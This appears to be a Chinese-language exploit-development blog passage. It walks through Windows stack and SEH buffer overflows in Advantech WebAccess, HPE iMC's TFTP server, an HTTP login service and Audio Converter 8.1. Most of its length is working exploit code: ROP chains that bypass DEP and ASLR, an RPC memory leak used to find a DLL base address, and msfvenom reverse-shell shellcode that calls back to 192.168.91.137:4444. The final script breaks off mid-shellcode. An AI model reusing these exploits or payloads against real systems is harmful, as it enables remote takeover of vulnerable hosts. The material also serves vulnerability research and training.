shellcode += b"\xc3\xa5\x06\x70\xae\xb5\xff\x70\xe5\xe7\x56"
shellcode += b"\x8e\xd3\x8f\x35\x1d\xb8\x4f\x33\x3e\x17\x18"
shellcode += b"\x14\xf0\x6e\xcc\x88\xab\xd8\xf2\x50\x2d\x22"
shellcode += b"\xb6\x8e\x8e\xad\x37\x42\xaa\x89\x27\x9a\x33"
shellcode += b"\x96\x13\x72\x62\x40\xcd\x34\xdc\x22\xa7\xee"
shellcode += b"\xb3\xec\x2f\x76\xf8\x2e\x29\x77\xd5\xd8\xd5"
shellcode += b"\xc6\x80\x9c\xea\xe7\x44\x29\x93\x15\xf5\xd6"
shellcode += b"\x4e\x9e\x15\x35\x5a\xeb\xbd\xe0\x0f\x56\xa0"
shellcode += b"\x12\xfa\x95\xdd\x90\x0e\x66\x1a\x88\x7b\x63"
shellcode += b"\x66\x0e\x90\x19\xf7\xfb\x96\x8e\xf8\x29"


def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x1002f729, # pop eax; ret; :: libspp.dll
0x10168060, # IAT KERNEL32!CreateFileA libspp.dll
0x1014dc4c, # mov eax, [eax] ; ret ; (1 found)
0x100cb4d4, # xchg eax, edx ; ret ; (1 found)
0x1002f729, # pop eax; ret; :: libspp.dll
0xffffd070, # offset = VirtualProtectStub - CreateFileA
0x1003f9f9, # add eax, edx ; retn 0x0004 ; (1 found)
0x100121b5, # xchg eax, esi ; cwde ; add bl, al ; mov eax, 0x02FAF080 ; ret ; (1 found)
0x41414141,

#[---INFO:gadgets_to_set_ebp:---]
0x10129305, # POP EBP # RETN [libspp.dll]
0x10129305, # skip 4 bytes [libspp.dll]

#[---INFO:gadgets_to_set_ebx:---]
0x1012b413, # POP EAX # RETN [libspp.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x1009904c, # NEG EAX # RETN [libspp.dll]
0x100cb4d4, # xchg edx, eax; ret; :: libspp.dll
0x10104e93, #push edx ; or al, 0x5E ; xor eax, eax ; pop ebx ; ret

#[---INFO:gadgets_to_set_edx:---]
0x1012b413, # POP EAX # RETN [libspp.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x10078216, # NEG EAX # RETN [libspp.dll]
0x100cb4d4, # XCHG EAX,EDX # RETN [libspp.dll]

#[---INFO:gadgets_to_set_ecx:---]
0x1015d439, # POP ECX # RETN [libspp.dll]
0x1020c95e, # &Writable location [libspp.dll]

#[---INFO:gadgets_to_set_edi:---]
0x10128eba, # POP EDI # RETN [libspp.dll]
0x1010adf2, # RETN (ROP NOP) [libspp.dll]

#[---INFO:pushad:---]
0x1014f55d, # PUSHAD # RETN [libspp.dll]

#[---INFO:extras:---]
0x100bb515, # ptr to 'push esp # ret ' [libspp.dll]
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()


try:
server = sys.argv[1]
port = 80
size = 800
inputBuffer = b""
junk1 = b'\x41'*780
#eip = struct.pack("<L",0xdeadbeef)
eip = struct.pack("<L",0x10023b22) # retn
offset = b'\x42'*4
nops = b'\x90'*32
junk2 = b'\x43'*(1500-len(shellcode)-len(rop_chain))
inputBuffer = junk1+eip+offset+rop_chain+nops+shellcode+junk2
content = b"username=" + inputBuffer + b"&password=A"

buffer = b"POST /login HTTP/1.1\r\n"
buffer += b"Host: " + server.encode() + b"\r\n"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
buffer += b"Referer: http://10.11.0.22/login\r\n"
buffer += b"Connection: close\r\n"
buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
buffer += b"\r\n"
buffer += content

print("Sending evil buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buffer)
s.close()

print("Done!")

except socket.error:
print("Could not connect!")

用于覆盖EIP的值,开始选择的ROP Gadget地址属性为PAGE_READ ,导致Memory Access Violation,换一个地址属性为PAGE_EXECUTE_READ的即可,mona生成的ROP Gadget集合会标注是否为PAGE_EXECUTE_READ,这一点还是很不错的。

喜闻乐见的反弹shell

BOF

其实,也可以参照之前《Vulnserver TRUN Bypass DEP With ROP On Win10》介绍的那样,手动构造ROP Chain,不是很难。

本次实验讨论在Win10 21h2 x86系统,程序未开启ASLR,所以当初的栈溢出利用很简单,这里将程序加入WDEG,默认开启DEPASLR,使用IDAWindbg相结合的方式对其进行分析。

安装程序可以从Exploit-DB上下载:https://www.exploit-db.com/exploits/44278

用下面的POC来跟进程序执行,梳理程序的运行流程:(包含了impacket,直接在kali里运行即可)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import sys, struct
from impacket import uuid
from impacket.dcerpc.v5 import transport

def call(dce, opcode, stubdata):
dce.call(opcode, stubdata)
res = -1
try:
res = dce.recv()
except Exception as e:
print("Exception encountered..." + str(e))
sys.exit(1)
return res

if len(sys.argv) != 2:
print("Provide only host arg")
sys.exit(1)

port = 4592
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
version = "1.0"

host = sys.argv[1]

string_binding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(string_binding)
trans.set_dport(port)

print("Connecting to the target")

dce = trans.get_dce_rpc()
dce.connect()

iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)

print("Getting a handle to the RPC server")
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)
if res == -1:
print("Something went wrong")
sys.exit(1)
res = struct.unpack("III", res)

if (len(res) < 3):
print("Received unexpected length value")
sys.exit(1)

print("Sending payload")

opcode = 11111

stubdata = struct.pack("<IIII", res[2], opcode, 0x111, 0x222)
buf = bytearray([0x41]*0x1000)

stubdata += buf
res = call(dce, 1, stubdata)
print(res)

print("Done, disconnecting")

dce.disconnect()

因为webvkeep是一个监控程序,会维持一个关于webvrpcs的心跳包,windbg attach webvrpcs调试的时候会暂停webvrpcs,导致webvkeep会重启webvrpcs,所以在windbg调试之前,先把webvkeep挂起来。

BOF

因为这里分析的程序与rpc协议相关,考虑IDA Plugin mIDA来加快分析

BOF

上面POC使用的Opcode0x01,这里跟进到0x01所对应的函数sub_401260IDA中跟进到函数所在地址,暂时看不出来更多信息,在windbg中相应位置下断点:

BOF

这里有个小诀窍,windbgIDA结合着看,一般只看自定义的函数即可,系统自带的函数可以直接跳过。

BOF

结合IDA看一下:

BOF

sub_4046D0似乎挺有意思,windbg中跟进sub_402C60

BOF

执行sub_4046D0之前,寄存器值的情况,ebx中保存的是POC传入的Opcode 11111,看一下此刻栈中保存的值:

BOF

我们传入的Opcode 11111会做为参数进入sub_4046D0函数,跟进该函数,后续进入一系列判断:

BOF

BOF

判断Opcode是否在0x2710h0x4E20h之间,0x2b67(11111)在它们之间。最后,进入如下分支:

BOF

DaDaqWebService函数是我们需要找到的函数,跟进去看一下,注意windbg中如下指令:

BOF

其中,edx保存的是传入的Opcodeedx的值减去0x2710h(10000),然后存入eax,后续都是拿eax的值在进行比较。观察IDA的分支,其实分成三部分,eax大于78h(118)、小于78h(分小于和等于)

大于或者小于分支:

BOF

小于或者等于分支:

BOF

在小于78h下面的分支中,发现一个有意思的地方:

BOF

调用了fopen函数,如果该函数没有关闭打开的文件句柄,是可以导致内存信息泄露的,跟进发现fopen后续没有对应的关闭句柄操作。因为程序开启了ASLR,可以通过这个地方的脆弱点导致内存信息泄露,进而Bypass ASLR

fopen的参数是我们可以控制的,注意fopen每个参数代表的意义。先来确定需要多少字符才能覆盖到ecxeax

fopen调用之前,看一下ecxeax的值:

BOF

得到他们的offset为如下所示:

BOF

随便找一个存在的文件名,看一下代码相关部分:

1
2
3
4
opcode = 0x277a

stubdata = struct.pack("<IIII", res[2], opcode, 0x111, 0x222)
buf = bytearray(b"C:\\WebAccess\\Node\\BwPAlarm.dll"+b"\x00"*230+b"r"+b"\x00"*0x500)

eaxecx设置不正确会出现Invalid parameter passed to C runtime function。我开始把两个值设置反了,导致出现这个异常。

来看一下设置正确后,fopen执行之后,发现返回的指针指向MSVCRT.DLL的某个地址:

BOF

BOF

进一步验证,发现POC代码的返回值也是指向MSVCRT.DLL某个地址的指针。这样,就可以获取MSVCRT.DLL的基地址,然后从MSVCRT.DLL中产生ROP Gadgets,最终可以Bypass ASLR

继续看一下Opcode0x2711时,最后会进入如下分支:

BOF

跟进sub_1D17B0

BOF

lpCommandLine是我们可以控制的,导致这里存在命令注入。windbg中调试确认一下:

BOF

现在命令注入只能启动系统已有的程序(包括自带的或其他安装的程序),为了能够触发反弹shell,考虑是否可以触发一个程序,然后该程序存在栈溢出,进而触发反弹shell

Advantech WebAccess中就存在很多这样的程序,这里以bwaccrts.exe为例。

开启windbg调试子进程:

BOF

或者将windbg执行目录加入环境变量,然后管理员权限下的cmd,运行windbg -I,这样程序崩溃后会启动windbg进行调试。

启动bwaccrts.exe的部分代码如下:

1
2
3
4
5
6
7
8
9
10
opcode = 0x2711

stubdata = struct.pack("<IIII", res[2], opcode, 0x204, 0x204)
overflow = b"\x41"*0x1000
attack = b"C:\\WebAccess\\Node\\bwaccrts.exe 1 %s" %overflow
attlen = len(attack)
fmt = "<"+str(attlen)+"s"
stubdata += struct.pack(fmt, attack)
res = call(dce, 1, stubdata)
print(res)

查看windbg

BOF

可以看到EIP被覆盖了,这里存在栈溢出。IDA中看一下:

BOF

漏洞点在sscanf函数,因为我们控制的输入会传入sscanf函数,最终导致栈溢出。

梳理一下利用流程:

1.利用0x277A的内存信息泄露获取MSVCRT.dll的基地址

2.构建基于MSVCRT.dllROP Chain

3.利用0x2711的代码注入漏洞,启动bwaccrts.exe

4.栈溢出bwaccrts.exe

5.最终绕过ASLRDEP

注意:源程序是未开启ASLR和DEP的,相对比较好利用,本地开启了ASLR和DEP之后,利用难度增加,试了好几次没有成功

注意到自己下载的版本高了,导致某些漏洞触发不了。换成Advantech WebAccess 8.0

因为漏洞实在是太多,这里选择IOCTL 0x138B4作为本次分析的漏洞触发点。其实开启ASLR之后,要触发本程序的关键在于找到泄露内存信息的漏洞点,前面提到的泄露MSVCRT.dll地址可继续作为Bypass ASLR的利用点之一。

跟踪IOCTL 0x138B4产生的漏洞点比较麻烦,需要跳转几个DLL。主要的漏洞触发路径为:

webvrpcs+0x1260(sub_401260:处理RPC 操作码0x01):

webvrpcs+0x2c10(sub_402c10):

webvrpcs+0x4590(sub_404590):

  • 调用BwRPCOpctoolService

    BOF

bwopctool!BwRPCOpctoolService:

  • 动态加载BwOpcSvc.dll:

BOF

  • 加载成功之后,调用BwSvcFunction

BOF

BwOpcSvc!BwSvcFunction:

  • 一堆分支

    BOF

  • 进入漏洞点函数:

BOF

BwBASScdDl!SCDDownloadTo:

BOF

最终,导致栈溢出,EIP被覆盖:

BOF

因为这里开启了ASLRDEP,现在需要考虑的是如何构建ROP Chain。结合前面分析可知MSVCRT.DLL的基地址是可以泄露出来的,所有后续ROP Gadget都从这个DLL中获取即可Bypass ASLR

题外话:关于如何获取VirtualProtect函数参数lpflOldProtect的值,这个参数需要指定为一个可写属性的内存区域。比较好的办法可以使用!address命令来搜索一块属性为PAGE_READWRITE的内存空间,命令如下:

1
!address /f:PAGE_READWRITE

来看一下结果:

BOF

任意选一块内存内容为空的地址作为lpflOldProtect参数值即可:

BOF

另外有个小的注意事项,覆盖EIP的值需要是MSVCRT.DLL中有执行权限的地址。

1
!py mona find -type instr -s "retn" -m MSVCRT.DLL -cpb "\x00"

BOF

利用脚本写多了,老是容易忘记一些简单的细节点,导致最终利用出现莫名其妙的小问题。

最终的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
import sys, struct
from impacket import uuid
from impacket.dcerpc.v5 import transport

def call(dce, opcode, stubdata):
dce.call(opcode, stubdata)
res = -1
try:
res = dce.recv()
except Exception as e:
print("Exception encountered..." + str(e))
sys.exit(1)
return res

if len(sys.argv) != 2:
print("Provide only host arg")
sys.exit(1)

port = 4592
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
version = "1.0"

host = sys.argv[1]

string_binding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(string_binding)
trans.set_dport(port)

print("Connecting to the target")

dce = trans.get_dce_rpc()
dce.connect()

iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)

print("Getting a handle to the RPC server")
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)
if res == -1:
print("Something went wrong")
sys.exit(1)
res = struct.unpack("III", res)

if (len(res) < 3):
print("Received unexpected length value")
sys.exit(1)

print("Sending payload")


#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'
shellcode = b""
shellcode += b"\xbd\xc3\xbe\xde\xb4\xda\xc2\xd9\x74\x24\xf4"
shellcode += b"\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x68\x0e"
shellcode += b"\x03\xab\xb0\x3c\x41\xd7\x25\x42\xaa\x27\xb6"
shellcode += b"\x23\x22\xc2\x87\x63\x50\x87\xb8\x53\x12\xc5"
shellcode += b"\x34\x1f\x76\xfd\xcf\x6d\x5f\xf2\x78\xdb\xb9"
shellcode += b"\x3d\x78\x70\xf9\x5c\xfa\x8b\x2e\xbe\xc3\x43"
shellcode += b"\x23\xbf\x04\xb9\xce\xed\xdd\xb5\x7d\x01\x69"
shellcode += b"\x83\xbd\xaa\x21\x05\xc6\x4f\xf1\x24\xe7\xde"
shellcode += b"\x89\x7e\x27\xe1\x5e\x0b\x6e\xf9\x83\x36\x38"
shellcode += b"\x72\x77\xcc\xbb\x52\x49\x2d\x17\x9b\x65\xdc"
shellcode += b"\x69\xdc\x42\x3f\x1c\x14\xb1\xc2\x27\xe3\xcb"
shellcode += b"\x18\xad\xf7\x6c\xea\x15\xd3\x8d\x3f\xc3\x90"
shellcode += b"\x82\xf4\x87\xfe\x86\x0b\x4b\x75\xb2\x80\x6a"
shellcode += b"\x59\x32\xd2\x48\x7d\x1e\x80\xf1\x24\xfa\x67"
shellcode += b"\x0d\x36\xa5\xd8\xab\x3d\x48\x0c\xc6\x1c\x05"
shellcode += b"\xe1\xeb\x9e\xd5\x6d\x7b\xed\xe7\x32\xd7\x79"
shellcode += b"\x44\xba\xf1\x7e\xab\x91\x46\x10\x52\x1a\xb7"
shellcode += b"\x39\x91\x4e\xe7\x51\x30\xef\x6c\xa1\xbd\x3a"
shellcode += b"\x22\xf1\x11\x95\x83\xa1\xd1\x45\x6c\xab\xdd"
shellcode += b"\xba\x8c\xd4\x37\xd3\x27\x2f\xd0\x1c\x1f\x74"
shellcode += b"\xa9\xf5\x62\x8a\xb8\x59\xea\x6c\xd0\x71\xba"
shellcode += b"\x27\x4d\xeb\xe7\xb3\xec\xf4\x3d\xbe\x2f\x7e"
shellcode += b"\xb2\x3f\xe1\x77\xbf\x53\x96\x77\x8a\x09\x31"
shellcode += b"\x87\x20\x25\xdd\x1a\xaf\xb5\xa8\x06\x78\xe2"
shellcode += b"\xfd\xf9\x71\x66\x10\xa3\x2b\x94\xe9\x35\x13"
shellcode += b"\x1c\x36\x86\x9a\x9d\xbb\xb2\xb8\x8d\x05\x3a"
shellcode += b"\x85\xf9\xd9\x6d\x53\x57\x9c\xc7\x15\x01\x76"
shellcode += b"\xbb\xff\xc5\x0f\xf7\x3f\x93\x0f\xd2\xc9\x7b"
shellcode += b"\xa1\x8b\x8f\x84\x0e\x5c\x18\xfd\x72\xfc\xe7"
shellcode += b"\xd4\x36\x1c\x0a\xfc\x42\xb5\x93\x95\xee\xd8"
shellcode += b"\x23\x40\x2c\xe5\xa7\x60\xcd\x12\xb7\x01\xc8"
shellcode += b"\x5f\x7f\xfa\xa0\xf0\xea\xfc\x17\xf0\x3e"


def create_rop_chain(dllbase):

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_edx:---]
dllbase+0x000819e8, #(RVA : 0x000819e8) : # POP ECX # RETN ** [MSVCRT.dll] **
0x80808080,
dllbase+0x00068805, #(RVA : 0x00068805) : # POP EAX # RETN ** [MSVCRT.dll] **
0x7f7f7fc0,
dllbase+0x000395b2, #(RVA : 0x000395b2) : # ADD EAX,ECX # POP ESI # POP EBP # RETN ** [MSVCRT.dll] **
0x41414141,
0x41414141,
dllbase+0x00057994, #(RVA : 0x00057994) : # MOV EDX,EAX # MOV EAX,ECX # POP EBP # RETN ** [MSVCRT.dll] **
0x41414141,

#[---INFO:gadgets_to_set_ebp:---]
dllbase+0x0008acc9, # POP EBP # RETN [MSVCRT.dll] ** REBASED ** ASLR 0x0008acc9
dllbase+0x0008acc9, # skip 4 bytes [MSVCRT.dll] ** REBASED ** ASLR 0x0008acc9
#[---INFO:gadgets_to_set_ebx:---]

dllbase+0x00068805, # POP EAX # RETN [MSVCRT.dll] ** REBASED ** ASLR 0x00068805
0xfbdbbd24, # put delta into eax (-> put 0x00000201 into ebx)
dllbase+0x0009f669, # ADD EAX,42444DD # RETN [MSVCRT.dll] ** REBASED ** ASLR 0x0009f669
dllbase+0x00017926, # XCHG EAX,EBX # RETN [MSVCRT.dll] ** REBASED ** ASLR 0x00017926

#[---INFO:gadgets_to_set_ecx:---]

dllbase+0x0003a5d1, # POP ECX # RETN [MSVCRT.dll] ** REBASED ** ASLR 0x0003a5d1
dllbase+0x000b6df7, # &Writable location [MSVCRT.dll] ** REBASED ** ASLR 0x000b6df7

#[---INFO:gadgets_to_set_edi:---]
dllbase+0x0008686e, # POP EDI # RETN [MSVCRT.dll] ** REBASED ** ASLR 0x0008686e
dllbase+0x00041a05, # RETN (ROP NOP) [MSVCRT.dll] ** REBASED ** ASLR 0x00041a05

#[---INFO:gadgets_to_set_esi:---]
dllbase+0x00068445, # POP ESI # RETN [MSVCRT.dll] ** REBASED ** ASLR 0x00068445
dllbase+0x0000d178, # JMP [EAX] [MSVCRT.dll] 0x0000d178
dllbase+0x000a10da, # POP EAX # RETN [MSVCRT.dll] ** REBASED ** ASLR 0x000a10da
dllbase+0x000b81ac, # ptr to &VirtualProtect() [IAT MSVCRT.dll] ** REBASED ** ASLR 0x000b81ac

#[---INFO:pushad:---]
dllbase+0x00056f67, # PUSHAD # RETN [MSVCRT.dll] ** REBASED ** ASLR 0x00056f67

#[---INFO:extras:---]
dllbase+0x0000a47d, # ptr to 'call esp' [MSVCRT.dll] ** REBASED ** ASLR 0x0000a47d
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)


opcode_leak = 0x277a
stubdata = struct.pack("<IIII", res[2], opcode_leak, 0x111, 0x222)
# buf = bytearray(b"C:\\WebAccess\\Node\\BwPAlarm.dll"+b"\x00"*230+b"r"+b"\x00"+b'deadbeef'*0x1000)
buf = bytearray(b"C:\\Windows\\System32\\MSVCRT.dll"+b"\x00"*230+b"r"+b"\x00"+b'deadbeef'*0x1000)
stubdata += buf
print(len(stubdata))
res = call(dce, 1, stubdata)
res_int = struct.unpack("<L",res)[0]
# print(hex(res_int)) # MSVCRT!_iob+0xXX
dllbase = (res_int-0x000B2600)//0x10000*0x10000
print(dllbase)
print("dllbase: "+hex(dllbase))

dce.disconnect()


rop_chain = create_rop_chain(dllbase)

dce = trans.get_dce_rpc()
dce.connect()

iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)

print("Getting a handle to the RPC server")
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)
if res == -1:
print("Something went wrong")
sys.exit(1)
res = struct.unpack("III", res)

if (len(res) < 3):
print("Received unexpected length value")
sys.exit(1)

print("Sending payload")


opcode = 0x138B4

stubdata = struct.pack("<IIII", res[2], opcode, 0x111, 0x222)
# buf = bytearray([0x41]*0x1000) #crash
junk1 = b"\x41"*2240
nops = b"\x90"*32
# eip = struct.pack("<L",0xdeadbeef)
eip = struct.pack("<L",dllbase+0x00004e50) # 0x75d74e50 (b+0x00004e50) : retn | {PAGE_EXECUTE_READ} [MSVCRT.dll]
junk2 = b"\x42"*(4096-2240-4-len(rop_chain)-len(shellcode)-32)
payload = junk1+eip+rop_chain+nops+shellcode+junk2
stubdata += payload
res = call(dce, 0x01, stubdata)
print(res)

print("Done, disconnecting")

dce.disconnect()

喜闻乐见的反弹shell

BOF

参考:

1.https://www.zerodayinitiative.com/advisories/ZDI-16-053/

2.https://www.tenable.com/plugins/nnm/9862

3.https://blog.exodusintel.com/2018/09/13/to-traverse-or-not-to-that-is-the-question/

4.https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-address

本次实验讨论在Win10 21h2 x86系统下关闭全局DEP。后续再看开启全局DEP的情况。软件版本为:iMC_PLAT_7.3_E0506_Std_Win

因为是UDP包,断点需要下在函数ws2_32!recvfrom上面:

BOF

尝试发送一个包,然后用命令k查看调用栈,注意标红的位置,后续可以在该位置下断点,删除之前在recvfrom下的断点。

IDAsub_40A400函数用于处理tftpserver的命令,注意看如下用于从服务器读取文件,这里申请了一个9999bytes大小的空间:

BOF

跟进:

BOF

继续跟进函数sub_407730:

BOF

注意看,读取文件内容到之前申请的9999bytes空间里面去,而count又是用户可以控制的,那么,如果读取内容大于9999bytes,就会造成栈溢出。

因为涉及的是tftpserver的漏洞利用,需要对tftpserver相关协议有一个了解,这里重点关注RFC2347即可。结合前面逆向的分析,这里漏洞点在blksize是我们可以控制的(但是这个值最大为65535),最后会带入上面的count参数,结合tftpserver读文件的时候,导致栈溢出。

看一下能造成crash的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3
import tftpy
import struct
total_size = 40960
junk = b'\x41'*total_size
with open("crash.txt","wb") as filehander:
filehander.write(junk)
client = tftpy.TftpClient('127.0.0.1', 69)
client.upload('crash.txt', 'crash.txt')

client = tftpy.TftpClient('127.0.0.1', 69, options={'blksize':10240})
client.download('crash.txt','download.txt')

先来看一下溢出的情况,是一个SEH的栈溢出:

BOF

获取SEH覆盖的Offset

BOF

BOF

验证Offset的脚本如下:(10004是最终符合条件的偏移)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
import tftpy
import struct
total_size = 40960
junk1 = b'A'*10004
nseh = b'B'*4
seh = b'C'*4
junk2 = b'D'*(total_size-10004-4-4)
with open("offset.txt","wb") as filehander:
filehander.write(junk1+nseh+seh+junk2)
client = tftpy.TftpClient('127.0.0.1', 69)
client.upload('offset.txt', 'offset.txt')

client = tftpy.TftpClient('127.0.0.1', 69, options={'blksize':40960})
client.download('offset.txt','download.txt')

BOF

发现仅能覆盖Next SEH,这就是问题所在,导致没法利用,坑点

为了保证我们能够完全覆盖Next SEHSEH Handler,需要让blksize的值为某个确定值,多次尝试之后最终确定其大小为61400最大的坑点

坏字符仅为\x00,这就不过多说了。

tftp协议相关的部分,我使用了tftpy这个库,可以节省不少时间。

最终的利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
import tftpy
import struct
import time
total_size = 0x20000
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'
shellcode = b""
shellcode += b"\xbb\x4f\x66\xd7\x53\xda\xc9\xd9\x74\x24\xf4"
shellcode += b"\x5a\x2b\xc9\xb1\x52\x31\x5a\x12\x03\x5a\x12"
shellcode += b"\x83\x8d\x62\x35\xa6\xed\x83\x3b\x49\x0d\x54"
shellcode += b"\x5c\xc3\xe8\x65\x5c\xb7\x79\xd5\x6c\xb3\x2f"
shellcode += b"\xda\x07\x91\xdb\x69\x65\x3e\xec\xda\xc0\x18"
shellcode += b"\xc3\xdb\x79\x58\x42\x58\x80\x8d\xa4\x61\x4b"
shellcode += b"\xc0\xa5\xa6\xb6\x29\xf7\x7f\xbc\x9c\xe7\xf4"
shellcode += b"\x88\x1c\x8c\x47\x1c\x25\x71\x1f\x1f\x04\x24"
shellcode += b"\x2b\x46\x86\xc7\xf8\xf2\x8f\xdf\x1d\x3e\x59"
shellcode += b"\x54\xd5\xb4\x58\xbc\x27\x34\xf6\x81\x87\xc7"
shellcode += b"\x06\xc6\x20\x38\x7d\x3e\x53\xc5\x86\x85\x29"
shellcode += b"\x11\x02\x1d\x89\xd2\xb4\xf9\x2b\x36\x22\x8a"
shellcode += b"\x20\xf3\x20\xd4\x24\x02\xe4\x6f\x50\x8f\x0b"
shellcode += b"\xbf\xd0\xcb\x2f\x1b\xb8\x88\x4e\x3a\x64\x7e"
shellcode += b"\x6e\x5c\xc7\xdf\xca\x17\xea\x34\x67\x7a\x63"
shellcode += b"\xf8\x4a\x84\x73\x96\xdd\xf7\x41\x39\x76\x9f"
shellcode += b"\xe9\xb2\x50\x58\x0d\xe9\x25\xf6\xf0\x12\x56"
shellcode += b"\xdf\x36\x46\x06\x77\x9e\xe7\xcd\x87\x1f\x32"
shellcode += b"\x41\xd7\x8f\xed\x22\x87\x6f\x5e\xcb\xcd\x7f"
shellcode += b"\x81\xeb\xee\x55\xaa\x86\x15\x3e\x15\xfe\x4e"
shellcode += b"\x37\xfd\xfd\x70\x56\xa2\x88\x96\x32\x4a\xdd"
shellcode += b"\x01\xab\xf3\x44\xd9\x4a\xfb\x52\xa4\x4d\x77"
shellcode += b"\x51\x59\x03\x70\x1c\x49\xf4\x70\x6b\x33\x53"
shellcode += b"\x8e\x41\x5b\x3f\x1d\x0e\x9b\x36\x3e\x99\xcc"
shellcode += b"\x1f\xf0\xd0\x98\x8d\xab\x4a\xbe\x4f\x2d\xb4"
shellcode += b"\x7a\x94\x8e\x3b\x83\x59\xaa\x1f\x93\xa7\x33"
shellcode += b"\x24\xc7\x77\x62\xf2\xb1\x31\xdc\xb4\x6b\xe8"
shellcode += b"\xb3\x1e\xfb\x6d\xf8\xa0\x7d\x72\xd5\x56\x61"
shellcode += b"\xc3\x80\x2e\x9e\xec\x44\xa7\xe7\x10\xf5\x48"
shellcode += b"\x32\x91\x15\xab\x96\xec\xbd\x72\x73\x4d\xa0"
shellcode += b"\x84\xae\x92\xdd\x06\x5a\x6b\x1a\x16\x2f\x6e"
shellcode += b"\x66\x90\xdc\x02\xf7\x75\xe2\xb1\xf8\x5f"



junk1 = b'\x41'*10004
nseh = b"\xEB\x06\x90\x90"
seh = struct.pack("<L",0x1206d7ce) #0x1206d7ce : pop ebp # pop edi # ret |
nops1 = b'\x90'*64
junk2 = b'B'*(total_size-10004-4-4-64-len(shellcode))
buffer = junk1+nseh+seh+nops1+shellcode+junk2
with open("exploit.txt","wb") as filehander:
filehander.write(buffer)
client = tftpy.TftpClient('127.0.0.1', 69)
client.upload('exploit.txt', 'exploit.txt')

client = tftpy.TftpClient('127.0.0.1', 69, options={'blksize':61400})
client.download('exploit.txt','download.txt')

喜闻乐见的反弹shell

BOF

参考:

1.https://blog.exodusintel.com/2018/10/16/hpe-imc-a-case-study-on-the-reliability-of-security-fixes/

2.https://www.tenable.com/plugins/nessus/102500

本次讨论的Audio Converter 8.1Win7 SP1 6.1.7601Win10 10.0.19044两者之间有一些不同,在Win7下漏洞能够利用成功,在Win10下会出现SEH Handler无法捕捉到异常,导致漏洞执行失败。

先来看Win7下的漏洞利用:之前遇到的SEH栈溢出漏洞,覆盖的都是SEH链的第一个NSEHSEH Handler,而这里覆盖的是第二个NSEHSEH Handler。简单的部分就不说了,Win7Offset4432(覆盖NSEH的值),坏字符为\x00\x0a

看一下溢出的时候,其实是SEH链第二个节点被覆盖:

BOF

但是,这不影响漏洞利用的方式,还是P/P/R结合JMP,如果当前异常处理函数无法处理异常,则会转到下一个异常处理函数处理,所以覆盖的异常处理函数是可以得到执行的,进而执行写入的shellcode。考虑要bypass ASLR,所以需要找到未开启ASLRDLL

BOF

win7下没有开启全局DEP时,就是简单的SEH 栈溢出,最终的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3
import struct

filename="exploit.pls"

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00\x3d'
shellcode = b""
shellcode += b"\xdd\xc6\xd9\x74\x24\xf4\x58\x33\xc9\xbe\xab"
shellcode += b"\x77\x29\x71\xb1\x52\x31\x70\x17\x03\x70\x17"
shellcode += b"\x83\x43\x8b\xcb\x84\x6f\x9c\x8e\x67\x8f\x5d"
